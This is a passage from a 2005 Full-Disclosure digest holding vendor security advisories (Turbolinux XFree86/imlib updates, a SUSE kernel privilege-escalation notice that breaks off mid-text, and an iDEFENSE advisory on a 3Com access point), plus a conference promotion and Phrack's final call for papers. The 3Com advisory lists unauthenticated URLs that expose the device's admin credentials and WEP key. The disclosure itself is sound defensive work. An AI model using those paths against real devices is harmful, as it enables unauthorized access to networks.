   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/8/updates/RPMS/XFree86-100dpi-fonts-4.2.0-31.i586.rpm
     12400410 34d10be76f54acc21491a00899a71702
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/8/updates/RPMS/XFree86-4.2.0-31.i586.rpm
     22743452 2d46d8869809b4cf4057073aa1424691
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/8/updates/RPMS/XFree86-75dpi-fonts-4.2.0-31.i586.rpm
     10731375 ba1de2759dcc7147e2db62b03e6c88ec
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/8/updates/RPMS/XFree86-contrib-4.2.0-31.i586.rpm
       308144 45b5035ce028061f85307e523e744ca4
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/8/updates/RPMS/XFree86-cyrillic-fonts-4.2.0-31.i586.rpm
       397538 716c536d56b62bfd0d01d36da3e6e84b
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/8/updates/RPMS/XFree86-devel-4.2.0-31.i586.rpm
      4614429 9c36dca86bf64abb155fa69bfcf862a6
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/8/updates/RPMS/XFree86-libs-4.2.0-31.i586.rpm
      2130130 71c9879567f941b333ef9357f0923b2e
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/8/updates/RPMS/XFree86-xfs-4.2.0-31.i586.rpm
        71877 5d4624ac221daa59fa0be17667fa1402

 <Turbolinux 8 Workstation>

   Source Packages
   Size: MD5

   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/8/updates/SRPMS/XFree86-4.2.0-31.src.rpm
     59402584 d2d88c18b1130b86927152ff03ece881

   Binary Packages
   Size: MD5

   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/8/updates/RPMS/XFree86-100dpi-fonts-4.2.0-31.i586.rpm
     12400862 55aca027c4a93336f441b2f97edebc38
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/8/updates/RPMS/XFree86-4.2.0-31.i586.rpm
     22742661 8078bd1063760502eacaff6b2a624f17
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/8/updates/RPMS/XFree86-75dpi-fonts-4.2.0-31.i586.rpm
     10731374 57a913169b1210046e66b4cdfa1d4add
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/8/updates/RPMS/XFree86-contrib-4.2.0-31.i586.rpm
       307956 9b8262aee19812f4ddd570f11385b080
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/8/updates/RPMS/XFree86-cyrillic-fonts-4.2.0-31.i586.rpm
       397535 90a5212d0f613b73324a5d9a92bd7b5e
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/8/updates/RPMS/XFree86-devel-4.2.0-31.i586.rpm
      4614017 f580d9b9d34fc52855421429adf5963b
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/8/updates/RPMS/XFree86-libs-4.2.0-31.i586.rpm
      2129819 bb11ef81170bd7fe0ce6497863708914
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/8/updates/RPMS/XFree86-xfs-4.2.0-31.i586.rpm
        71862 dbed6ee63513445d15902040b7aba2e3

 <Turbolinux 7 Server>

   Source Packages
   Size: MD5

   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/7/updates/SRPMS/XFree86-4.1.0-40.src.rpm
     56822593 d1dc66c85ed9362c5a60c01a9ff4f3b6

   Binary Packages
   Size: MD5

   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/7/updates/RPMS/XFree86-100dpi-fonts-4.1.0-40.i586.rpm
     12395748 f7480f3e13f0eac6cc86ca571373d4cd
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/7/updates/RPMS/XFree86-4.1.0-40.i586.rpm
     20305802 48332f6693f31a7df62b33d55d50d41e
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/7/updates/RPMS/XFree86-75dpi-fonts-4.1.0-40.i586.rpm
     10728284 7086a66f0bf56ad672036f6a34f92800
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/7/updates/RPMS/XFree86-contrib-4.1.0-40.i586.rpm
       241514 2b57c0c668640d15abec76d705e7ad02
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/7/updates/RPMS/XFree86-cyrillic-fonts-4.1.0-40.i586.rpm
       393107 11007a23de8827f279e0b8f70b4e1685
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/7/updates/RPMS/XFree86-devel-4.1.0-40.i586.rpm
      4081975 53a48bd6a8e9b1db753973780512cc8c
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/7/updates/RPMS/XFree86-libs-4.1.0-40.i586.rpm
      2152590 b6ba737c3f676346837841a88484b69f
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/7/updates/RPMS/XFree86-xfs-4.1.0-40.i586.rpm
        65361 020ecfddb6a42d11d8f89b54c52f273e

 <Turbolinux 7 Workstation>

   Source Packages
   Size: MD5

   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/7/updates/SRPMS/XFree86-4.1.0-40.src.rpm
     56822593 f499b57975db35a67b7cc30f5611dd95

   Binary Packages
   Size: MD5

   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/7/updates/RPMS/XFree86-100dpi-fonts-4.1.0-40.i586.rpm
     12395916 9f5c90bc2292eec9ad8258fa27fcef05
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/7/updates/RPMS/XFree86-4.1.0-40.i586.rpm
     20305729 c592c0b7ded715b684f373893a02fdad
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/7/updates/RPMS/XFree86-75dpi-fonts-4.1.0-40.i586.rpm
     10726676 f80f6b3efa546a16e6ff1519f8282c3e
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/7/updates/RPMS/XFree86-contrib-4.1.0-40.i586.rpm
       241629 5b0d933767e2c4f75171402d7fc8b23d
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/7/updates/RPMS/XFree86-cyrillic-fonts-4.1.0-40.i586.rpm
       393113 afad572afbed7ace7f57eb3552bd0e18
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/7/updates/RPMS/XFree86-devel-4.1.0-40.i586.rpm
      4081652 cb1a1892dd927001bc1bdde67603f872
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/7/updates/RPMS/XFree86-libs-4.1.0-40.i586.rpm
      2152078 c5548d688b1f8580363fb427d1eae7fc
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/7/updates/RPMS/XFree86-xfs-4.1.0-40.i586.rpm
        65308 bd873f1147e4420bcdc324f6f4fcaf14


 References:

 CVE
   [CAN-2004-0687]
   http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0687
   [CAN-2004-0688]
   http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0688
   [CAN-2004-0914]
   http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0914


===========================================================
* imlib -> Two vulnerabilities discovered in imlib
===========================================================

 More information:
    Imlib is a display depth-independent image loading and rendering library.
    Imlib is designed to simplify and speed up the process of loading images
    and obtaining X Window System drawables.  Imlib provides many simple
    manipulation routines which can be used for common operations.

    Multiple issues have been discovered in imlib:
    - Multiple heap-based buffer overflows
    - Multiple integer overflows in the imlib image handler

 Impact:
    These vulnerabilities may allow remote attackers to execute arbitrary
    code via malformed image files.

 Affected Products:
    - Turbolinux 10 Server
    - Turbolinux Home
    - Turbolinux 10 F...
    - Turbolinux 10 Desktop
    - Turbolinux 8 Server
    - Turbolinux 8 Workstation
    - Turbolinux 7 Server
    - Turbolinux 7 Workstation

 Solution:
    Please use the turbopkg (zabom) tool to apply the update. 
 ---------------------------------------------
 [Turbolinux 10 Server, Turbolinux 10 Desktop, Turbolinux 10 F..., Turbolinux Home]
 # turbopkg
 or
 # zabom -u imlib imlib-devel imlib-cfgeditor imlib-debug

 [other]
 # turbopkg
 or
 # zabom update imlib imlib-devel
 ---------------------------------------------


 <Turbolinux 10 Server>

   Source Packages
   Size: MD5

   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/10/updates/SRPMS/imlib-1.9.14-9.src.rpm
       671199 8fa559a156b2f32932b0c056e91cab10

   Binary Packages
   Size: MD5

   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/10/updates/RPMS/imlib-1.9.14-9.i586.rpm
       156437 903c55bb189dbbbcfbd2da0e9367a979
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/10/updates/RPMS/imlib-cfgeditor-1.9.14-9.i586.rpm
       237300 80169d1933dfa0d055309291a2acaf65
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/10/updates/RPMS/imlib-debug-1.9.14-9.i586.rpm
       881100 b4456c4ee4b63ec72e40ad515718cd01
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/10/updates/RPMS/imlib-devel-1.9.14-9.i586.rpm
       227288 a51634b47f72ed7892fe7f0ce7493d12

 <Turbolinux 10 Desktop, Turbolinux 10 F..., Turbolinux Home>

   Source Packages
   Size: MD5

   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Desktop/10/updates/SRPMS/imlib-1.9.14-9.src.rpm
       671199 65fa097e57bf9e8994fa33c4b228ee1b

   Binary Packages
   Size: MD5

   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Desktop/10/updates/RPMS/imlib-1.9.14-9.i586.rpm
       155675 118b05bce35378acdff10f25f4e94ac5
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Desktop/10/updates/RPMS/imlib-devel-1.9.14-9.i586.rpm
       227719 851c484e13d3d23ef8366e9479e5f5b2

 <Turbolinux 8 Server>

   Source Packages
   Size: MD5

   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/8/updates/SRPMS/imlib-1.9.13-10.src.rpm
       835902 0cdc1b2b11958b9e5656150184546dc1

   Binary Packages
   Size: MD5

   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/8/updates/RPMS/imlib-1.9.13-10.i586.rpm
       138166 726d61918da3282354079e767c66987d
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/8/updates/RPMS/imlib-cfgeditor-1.9.13-10.i586.rpm
       234782 a344ccb8bf63c40cb68118096aa1afa3
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/8/updates/RPMS/imlib-devel-1.9.13-10.i586.rpm
       227939 783ba488fb78504d3659bd16a2faea41

 <Turbolinux 8 Workstation>

   Source Packages
   Size: MD5

   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/8/updates/SRPMS/imlib-1.9.13-10.src.rpm
       835902 b47e72aff2d37923ce7d51f0e21bbbad

   Binary Packages
   Size: MD5

   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/8/updates/RPMS/imlib-1.9.13-10.i586.rpm
       138121 9303aa6f89427d6803df4d1c2abb406f
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/8/updates/RPMS/imlib-cfgeditor-1.9.13-10.i586.rpm
       234839 c62f1822cd7395e36eb24d490330d441
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/8/updates/RPMS/imlib-devel-1.9.13-10.i586.rpm
       227967 5766fdbaa97fd1cb90156fd3ad8e55fb

 <Turbolinux 7 Server>

   Source Packages
   Size: MD5

   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/7/updates/SRPMS/imlib-1.9.10-7.src.rpm
       793613 97708aba2aba0434735c9f0e9e56cf68

   Binary Packages
   Size: MD5

   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/7/updates/RPMS/imlib-1.9.10-7.i586.rpm
       128854 060b6e083f34ae092eaaa499014d2e48
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/7/updates/RPMS/imlib-devel-1.9.10-7.i586.rpm
       219639 0006ab5e52362c8501c0b77e41a8c5f4

 <Turbolinux 7 Workstation>

   Source Packages
   Size: MD5

   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/7/updates/SRPMS/imlib-1.9.10-7.src.rpm
       793613 fd71ba9137199f255d2134d5856289ec

   Binary Packages
   Size: MD5

   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/7/updates/RPMS/imlib-1.9.10-7.i586.rpm
       128838 77bfcda3d83b2bee97408b48af82d161
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/7/updates/RPMS/imlib-cfgeditor-1.9.10-7.i586.rpm
       233339 1a77a724824e43bd711c964cab1e652d
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/7/updates/RPMS/imlib-devel-1.9.10-7.i586.rpm
       219564 11ca9e1c806156aa67473024081e5dad


 References:

 CVE
   [CAN-2004-1025]
   http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1025
   [CAN-2004-1026]
   http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1026


 * You may need to update the turbopkg tool before applying the update.
Please refer to the following URL for detailed information.

  http://www.turbolinux.com/download/zabom.html
  http://www.turbolinux.com/download/zabomupdate.html

Package Update Path
http://www.turbolinux.com/update/

============================================================
 * To obtain the public key

Here is the public key

 http://www.turbolinux.com/security/

 * To unsubscribe from the list

If you ever want to remove yourself from this mailing list,
  you can send a message to <server-users-e-ctl at turbolinux.co.jp> with
the word `unsubscribe' in the body (don't include the quotes).

unsubscribe

 * To change your email address

If you ever want to chage email address in this mailing list,
  you can send a message to <server-users-e-ctl at turbolinux.co.jp> with
the following command in the message body:

  chaddr 'old address' 'new address'

If you have any questions or problems, please contact
<supp_info at turbolinux.co.jp>

Thank you!

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.6 (GNU/Linux)

iD8DBQFB71FMK0LzjOqIJMwRAsEUAJ9599AhFk55nlg0VUIkrleS7wcqTQCfQfUB
l9TjxOhzPUipkIw4gPqffjU=
=OkBL
-----END PGP SIGNATURE-----






------------------------------

Message: 4
Date: Thu, 20 Jan 2005 19:37:50 +0700
From: Anthony Zboralski <bcs2005 at bellua.com>
Subject: [Full-Disclosure] Re: [ISN] Book Review: Forensic Discovery 
To: InfoSec News <isn at c4i.org>
Cc: William Knowles <wk at c4i.org>, dailydave at lists.immunitysec.com,
	bugtraq at securityfocus.com, full-disclosure at lists.netsys.com
Message-ID: <190A3FEA-6AE0-11D9-97C7-000A95B1B62E at bellua.com>
Content-Type: text/plain; charset=US-ASCII; format=flowed


On 19 Jan 2005, at 14:55, InfoSec News wrote:

> http://books.slashdot.org/books/05/01/18/2110235.shtml
>
> [ http://www.amazon.com/exec/obidos/ASIN/020163497X/c4iorg  - WK]
>
> Author: Dan Farmer & Wietse Venema
> Pages: 198
> Publisher: Addison Wesley Professional
> Rating: 10
> Reviewer: Ben Rothke
> ISBN: 020163497X
> Summary: Forensic Discovery overview
>
> Security luminaries Dan Farmer and Wietse Venema wrote one of the
> first vulnerability scanners (SATAN) almost 10 years ago; SATAN was
> the precursor to ISS Scanner, Retina and nmap. Venema wrote such
> well-known security applications as the TCP Wrapper program and the
> Postfix mail server. Farmer and Venema's new book Forensic Discovery
> is a valuable book that grounds a computer-savvy reader in the world
> of digital forensics.

Source: http://hert.org/story.php/58

After reading the review of Dan Farmer and Wietse's Forensic Discovery, 
you should hear about
The Grugq who got fired from @stake after writing a Phrack Article in 
which he exposed numerous
flaws in The Coroner's Toolkit by Dan & Wietse.

Before you read this book, check out the video (bittorrent) of The 
Grugq on The Art of Defiling and
see how to defeat "industry grade" forensic tools and techniques .

You can also meet him at a hacker convention near you (in March at 
BCS2005 in Jakarta, in April
  at Black Hat in S'pore and Amsterdam and at HITB2005 Bahrain.

Video of the Grugq's Speech, The Art of Defiling:
   http://www.hert.org/z/grugq.torrent (Courtesy of HITB2004)

Presentation Slides:
   http://packetstormsecurity.com/hitb04/hitb04-grugq.pdf (from HITB2004)

Phrack article:
   http://www.phrack.org/show.php?p=59&a=6 (Phrack 59)

Grugq's Profile:
   http://www.bellua.com/bcs2005/asia05.speakers.html#grugq

The Grugq has been researching anti-forensics for almost 5 years. He 
has presented
to the UK's largest forensic practitioner group where he scared 
Scotland Yard.
  Grugq has worked to secure the networks and hosts of global 
corporations, and
he's also worked for security consulting companies. His work as a 
security consultant
was cut short temporarily following the publication of an article on 
anti-forensics.

P.S. Is it illegal to talk about anti-forensics under the Patriot Act?

gaius

-- 
Bellua Cyber Security Asia 2005 - http://www.bellua.com/bcs2005
21-22 March - The Workshops - 23-24 March - The Conference
bcs2005 at bellua.com - Phone: +62213918330 HP:+628159102495



------------------------------

_______________________________________________
Full-Disclosure mailing list
Full-Disclosure at lists.netsys.com
https://lists.netsys.com/mailman/listinfo/full-disclosure


End of Full-Disclosure Digest, Vol 2, Issue 44
**********************************************



From idlabs-advisories at idefense.com  Thu Jan 20 22:20:20 2005
From: idlabs-advisories at idefense.com (idlabs-advisories at idefense.com)
Date: Thu, 20 Jan 2005 17:20:20 -0500
Subject: [Full-Disclosure] iDEFENSE Security Advisory 01.20.05: 3Com
	OfficeConnect Wireless 11g AP Information Disclosure Vulnerability
Message-ID: <FB24803D1DF2A34FA59FC157B77C970503C8B3AE@idserv04.idef.com>

3Com OfficeConnect Wireless 11g AP Information Disclosure Vulnerability

iDEFENSE Security Advisory 01.20.05
www.idefense.com/application/poi/display?id=188&type=vulnerabilities
January 20, 2005

I. BACKGROUND

The 3Com OfficeConnect Wireless 11g Access Point provides users with
access to network resources, the Internet, and e-mail at speeds up to
54 Mbps and at distances up to 100 meters (328 feet). More information
about the product is available at 

    http://www.3com.com/products/en_US/detail.jsp?tab=features
        &pathtype=purchase&sku=3CRWE454G72

II. DESCRIPTION

Remote exploitation of an input validation vulnerability in 3Com Corp.'s
OfficeConnect Wireless 11g Access Point allows attackers to glean
sensitive router information.

The 3Com OfficeConnect Wireless 11g Access Point (AP) provides an
administrative interface via a web server accessible on port 80. This
interface is exposed by default on the internal ethernet interface and
the wireless interface, and it is also possible to expose it on the
external ethernet interface. The problem specifically exists due to
insufficient privilege checks when accessing various URLs without going
through the formal logon process. An unauthenticated attacker can glean
sensitive information from the device via the following URLs:

    /main/config.bin
    /main/profile.wlp?PN=ggg
    /main/event.logs

These URLs will expose the administrative username and password in clear
text, the WEP key and SSID, and the router log file respectively.

III. ANALYSIS

Successful exploitation allows remote attackers to glean sensitive
router information, allowing the attacker to gain full control of the
device. Compromise of the Access Point (AP) allows an attacker to
potentially redirect traffic, access nodes behind the AP that are
otherwise unaddressable and potentially monitor traffic from a remote
location. This can lead to further compromise of other computers.

IV. DETECTION

It has been reported that firmware version 1.00.08 shipped on the 3Com
OfficeConnect Wireless 11g Access Point is vulnerable. It is suspected
that earlier versions are also vulnerable.

V. WORKAROUND

iDEFENSE is currently unaware of any workarounds for this issue.

VI. VENDOR RESPONSE

Firmware version 1.03.07A for 3CRWE454G72 has been released to addresses
the vulnerability.

   http://www.3com.com/products/en_US/result.jsp?selected=6&sort=effdt
      &order=desc&sku=3CRWE454G72

VII. CVE INFORMATION

The Common Vulnerabilities and Exposures (CVE) project has assigned the
names CAN-2005-0112 to these issues. This is a candidate for inclusion
in the CVE list (http://cve.mitre.org), which standardizes names for
security problems.

VIII. DISCLOSURE TIMELINE

12/21/2004  Initial vendor notification - No response
01/06/2005  Secondary vendor notification
01/07/2005  Initial vendor response
01/20/2004  Public disclosure

IX. CREDIT

Patrik, cqure.net is credited with this discovery.

Get paid for vulnerability research
http://www.idefense.com/poi/teams/vcp.jsp

X. LEGAL NOTICES

Copyright (c) 2005 iDEFENSE, Inc.

Permission is granted for the redistribution of this alert
electronically. It may not be edited in any way without the express
written consent of iDEFENSE. If you wish to reprint the whole or any
part of this alert in any other medium other than electronically, please
email customerservice at idefense.com for permission.

Disclaimer: The information in the advisory is believed to be accurate
at the time of publishing based on currently available information. Use
of the information constitutes acceptance for use in an AS IS condition.
There are no warranties with regard to this information. Neither the
author nor the publisher accepts any liability for any direct, indirect,
or consequential loss or damage arising from use of, or reliance on,
this information.




From dontreply at phrack.org  Fri Jan 21 14:07:11 2005
From: dontreply at phrack.org (dontreply at phrack.org)
Date: Fri, 21 Jan 2005 14:07:11 +0000
Subject: [Full-Disclosure] PHRACK #63 CALL FOR PAPERS
Message-ID: <20050121140711.GC17507@spirit.segfault.net>


[-]=====================================================================[-]

                     +++++++++++++++++++++++++++
                   =: P H R A C K - F I N A L :=
                     +++++++++++++++++++++++++++

            ...a glorious era comes to an end. #63 will
               be our last PHRACK RELEASE -- EVER...

   FINAL CALL FOR PAPERS * FINAL CALL FOR PAPERS * FINAL CALL FOR PAPERS

                 -----------------------------------
                  Deadline: 10 July 2005 at 11:59pm
                 http://www.phrack.org/cfp_final.txt
                 -----------------------------------
   
   Phrackstaff is pleased to bring you our LAST EVER CALL FOR PAPERS for
   the FINAL RELEASE of PHRACK.

   We are preparing for a hardcover and ezine release at a major hacker
   convention near you!

   We ask everyone to submit a paper. Great care will be taken to ensure
   that only the best articles make it into PHRACK FINAL. As usual, papers
   can be on any topic related to the following:

          - hacking
          - phreaking
          - spying
          - carding
          - cybernetics
          - radio
          - electronics
          - forensics
          - reverse engineering
          - cryptography
          - anarchy
          - conspiracy
          - world news

   Since 1985, PHRACK MAGAZINE has been providing the hacker community with
   information on operating systems, network technologies and telephony, as
   well as relaying features of interest for the international computer
   underground. PHRACK MAGAZINE is made available to the public, as often as
   possible, free of charge.


   PHRACK STAFF   <--- preparing for hex2005
   phrackstaff at phrack.org

   Post Scriptum:
   - Phrackstaff will keep the website running for at least 2 years after
     PHRACK FINAL.
   - The last T-Shirts are sold for just $14.95 now. Enjoy it!
   - More about our decision in the release.
     Thanks and Goodbye.

[-]=====================================================================[-]



From meissner at suse.de  Fri Jan 21 15:11:27 2005
From: meissner at suse.de (Marcus Meissner)
Date: Fri, 21 Jan 2005 16:11:27 +0100
Subject: [Full-Disclosure] SUSE Security Announcement: kernel local
 privilege escalation (SUSE-SA:2005:003)
Message-ID: <41F11B9F.mailOXF1878P8@suse.de>


-----BEGIN PGP SIGNED MESSAGE-----

______________________________________________________________________________

                        SUSE Security Announcement

        Package:                kernel
        Announcement-ID:        SUSE-SA:2005:003
        Date:                   Friday, Jan 21st 2005 16:00 MET
        Affected products:      8.1, 8.2, 9.0, 9.1, 9.2
                                SUSE Linux Enterprise Server 8, 9
				SUSE Linux Desktop 1.0
                                Novell Linux Desktop 9
        Vulnerability Type:     local privilege escalation
        Severity (1-10):        7
        SUSE default package:   yes
        Cross References:       CAN-2004-1235
                                CAN-2005-0001

    Content of this advisory:
        1) security vulnerability resolved:
             - local privilege escalation
             - local denial of service attacks
           problem description
        2) solution/workaround
        3) special instructions and notes
        4) package location and checksums
        5) pending vulnerabilities, solutions, workarounds:
            - see summary report
        6) standard appendix (further information)

______________________________________________________________________________

1) problem description, brief discussion


    Several exploitable security problems were identified and fixed in
    the Linux kernel, the core of every SUSE Linux product.


    - Due to missing locking in the sys_uselib system call a local attacker
      can gain root access. This was found by Paul Starzetz and is tracked
      by the Mitre CVE ID CAN-2004-1235.


    - Paul Starzetz also found a race condition in SMP page table handling
      which could lead to a local attacker gaining root access on SMP
      machines. This is tracked by the Mitre CVE ID CAN-2005-0001.


    - A local denial of service was found in the auditing subsystem which
      have lead a local attacker crashing the machine. This was reported
      and fixed by Redhat.


    - The sendmsg / cmsg fix from the previous kernel update was faulty
      on 64bit systems with 32bit compatibility layer and could lead to
      32bit applications not working correctly on those 64bit systems.


    - The smbfs security fixes from a before-previous kernel update were
      faulty for some file write cases.


    - A local denial of service with Direct I/O access to NFS file systems
      could lead a local attacker to crash a machine with NFS mounts.


    - grsecurity reported a signed integer problem in the SCSI ioctl
      handling which had a missing boundary check.
      Due to C language specifics, this evaluation was not correct and
      there actually is no problem in this code.
      The signed / unsigned mismatch was fixed nevertheless.


    - Several more small non security problems were fixed.


   NOTE: Two days ago we released the Service Pack 1 for the SUSE Linux
   Enterprise Server 9. This kernel update contains fixes for the SUSE
   Linux Enterprise Server 9 GA version kernel line.

   A fix for the Service Pack 1 version line will be available shortly.


2) solution/workaround


   There is no workaround. Please install the provided update packages.


3) special instructions and notes

    SPECIAL INSTALL INSTRUCTIONS:
    ==============================
    The following paragraphs will guide you through the installation
    process in a step-by-step fashion. The character sequence "****"
    marks the beginning of a new paragraph. In some cases, the steps
    outlined in a particular paragraph may or may not be applicable
    to your situation.
    Therefore, please make sure to read through all of the steps below
    before attempting any of these procedures.
    All of the commands that need to be executed are required to be
    run as the superuser (root). Each step relies on the steps before
    it to complete successfully.


  **** Step 1: Determine the needed kernel type

    Please use the following command to find the kernel type that is
    installed on your system:

      rpm -qf /boot/vmlinuz

    Following are the possible kernel types (disregard the version and
    build number following the name separated by the "-" character)

      k_deflt   # default kernel, good for most systems.
      k_i386    # kernel for older processors and chip sets
      k_athlon  # kernel made specifically for AMD Athlon(tm) family processors
      k_psmp    # kernel for Pentium-I dual processor systems
      k_smp     # kernel for SMP systems (Pentium-II and above)
      k_smp4G   # kernel for SMP systems which supports a maximum of 4G of RAM
      kernel-64k-pagesize
      kernel-bigsmp
      kernel-default
      kernel-smp

  **** Step 2: Download the package for your system

    Please download the kernel RPM package for your distribution with the
    name as indicated by Step 1. The list of all kernel rpm packages is
    appended below. Note: The kernel-source package does not
    contain a binary kernel in bootable form. Instead, it contains the
    sources that the binary kernel rpm packages are created from. It can be
    used by administrators who have decided to build their own kernel.
    Since the kernel-source.rpm is an installable (compiled) package that
    contains sources for the linux kernel, it is not the source RPM for
    the kernel RPM binary packages.

    The kernel RPM binary packages for the distributions can be found at the
    locations below ftp://ftp.suse.com/pub/suse/i386/update/.

      8.1/rpm/i586
      8.2/rpm/i586
      9.0/rpm/i586
      9.1/rpm/i586
      9.2/rpm/i586

    After downloading the kernel RPM package for your system, you should
    verify the authenticity of the kernel rpm package using the methods as
    listed in section 3) of each SUSE Security Announcement.


  **** Step 3: Installing your kernel rpm package

    Install the rpm package that you have downloaded in Steps 3 or 4 with
    the command
        rpm -Uhv --nodeps --force <K_FILE.RPM>
    where <K_FILE.RPM> is the name of the rpm package that you downloaded.

    Warning: After performing this step, your system will likely not be
             able to boot if the following steps have not been fully
             followed.


    If you run SUSE LINUX 8.1 and haven't applied the kernel update
    (SUSE-SA:2003:034), AND you are using the freeswan package, you also
    need to update the freeswan rpm as a dependency as offered
    by YOU (YaST Online Update). The package can be downloaded from
    ftp://ftp.suse.com/pub/suse/i386/update/8.1/rpm/i586/

  **** Step 4: configuring and creating the initrd

    The initrd is a ramdisk that is loaded into the memory of your
    system together with the kernel boot image by the bootloader. The
    kernel uses the content of this ramdisk to execute commands that must
    be run before the kernel can mount its actual root filesystem. It is
    usually used to initialize SCSI drivers or NIC drivers for diskless
    operation.

    The variable INITRD_MODULES in /etc/sysconfig/kernel determines
    which kernel modules will be loaded in the initrd before the kernel
    has mounted its actual root filesystem. The variable should contain
    your SCSI adapter (if any) or filesystem driver modules.

    With the installation of the new kernel, the initrd has to be
    re-packed with the update kernel modules. Please run the command

      mk_initrd

    as root to create a new init ramdisk (initrd) for your system.
    On SuSE Linux 8.1 and later, this is done automatically when the
    RPM is installed.


  **** Step 5: bootloader

    If you run a SUSE LINUX 8.x, SLES8, or SUSE LINUX 9.x system, there
    are two options:
    Depending on your software configuration, you have either the lilo
    bootloader or the grub bootloader installed and initialized on your
    system.
    The grub bootloader does not require any further actions to be
    performed after the new kernel images have been moved in place by the
    rpm Update command.
    If you have a lilo bootloader installed and initialized, then the lilo
    program must be run as root. Use the command

      grep LOADER_TYPE /etc/sysconfig/bootloader

    to find out which boot loader is configured. If it is lilo, then you
    must run the lilo command as root. If grub is listed, then your system
    does not require any bootloader initialization.

    Warning: An improperly installed bootloader may render your system
             unbootable.

  **** Step 6: reboot

    If all of the steps above have been successfully completed on your
    system, then the new kernel including the kernel modules and the
    initrd should be ready to boot. The system needs to be rebooted for
    the changes to become active. Please make sure that all steps have
    completed, then reboot using the command
        shutdown -r now
    or
        init 6

    Your system should now shut down and reboot with the new kernel.


4) package location and checksums

    Please download the update package for your distribution and verify its
    integrity by the methods listed in section 3) of this announcement.
    Then, install the package using the command "rpm -Fhv file.rpm" to apply
